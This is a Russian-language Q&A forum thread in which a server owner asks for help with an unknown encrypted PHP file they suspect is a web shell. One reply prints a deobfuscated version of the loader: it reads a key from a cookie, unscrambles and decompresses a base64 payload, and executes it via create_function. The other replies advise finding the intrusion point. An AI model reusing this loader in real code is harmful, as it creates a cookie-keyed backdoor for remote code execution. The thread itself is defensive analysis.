Задать вопрос
@kosmos123

Неизвестный зашифрованный PHP скрипт на сервере, как расшифровать?

Недавно нашел неизвесный PHP скрипт у себя на сервере.
Как туда он попал неизвестно.
Содержимое скрипта зашифовано, мои попытки расшифровать не увенчались успехов.
Гугл тоже овтетов не дал, подозреваю что это шелл.
Помогите понять что это, и по-возможности расшифровать.
Содержимое скрипта по ссылке: https://pastebin.com/nijM2qZi
  • Вопрос задан
  • 622 просмотра
Подписаться 2 Средний 1 комментарий
Решения вопроса 1
riky
@riky
Laravel
Глянул скрипт, интересно то что без специального ключа его не расшифровать. Ключ передается через параметр key из cookie.

Основная часть скрипта в чуть более читаемом виде выглядит так. Тут просто строку $m расшифровывают и запускают на выполнение. И да, там скорее всего ничего интересного - просто шелл.

if (!empty($_COOKIE["key"])) {
    $F = $_COOKIE["key"];
    $e = strlen($F);
    $n = [];
    for ($r = 0; $r < $e; ++$r) $n[] = 44378 - $e - ord($F[$r]);
    $m = base64_decode(str_replace("\n", '', $m));
    for ($r = 0; $r < 44378; ++$r) {
        $_ = abs($n[$r % $e] - $r);
        $F = $m[$_];
        $m[$_] = $m[$r];
        $m[$r] = $F;
    }
    if ($e < 10) $e *= $e & 1 ? 3 : 2;
    if (($m = @gzinflate($m)) && (md5(substr($m, 0, $e)) === '40d1093c6aa5fe053f65ec0b46a673f1')) {
        $m = substr($m, $e);
        echo $e, $r;
        @create_function('', "};unset(\$m,\$n,\$e,\$r,\$_,\$F);" . $m . '{');
    }
}


PS кстати, если все таки хочется расшифровать - можно заменить скрипт на свой который тупо сохраняет этот key, тогда используя его можно будет расшифровать.

сохранять можно например таким кодом:
<?php
file_put_contents('key.log', $_COOKIE["key"] . "\n", FILE_APPEND);
Ответ написан
Комментировать
Пригласить эксперта
Ответы на вопрос 3
kgnk
@kgnk
Разрабатываю сайты, рисую интерфейсы
Определенно вредоносный файл. Автор очень не хотел, чтобы кто-то прочитал текст.
Скрипт смотрит в куках key; определенное значение правильно преобразует закодированный base64 и сжатый исходник. Можете перебрать сами и точно узнаете содержимое.
Ответ написан
Комментировать
POS_troi
@POS_troi
СадоМазо Админ, флудер, троль.
Расшифровывать не буду ибо не интересно, да и вам его содержимое не должно быть интересно а вот что вам действительно должно быть интересно так это то откуда он взялся и лотать дыру.
Ответ написан
Lopar
@Lopar
системный администратор
Сильно напоминает base64. Сделай ему base64_decode(), только не выполни ненароком.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы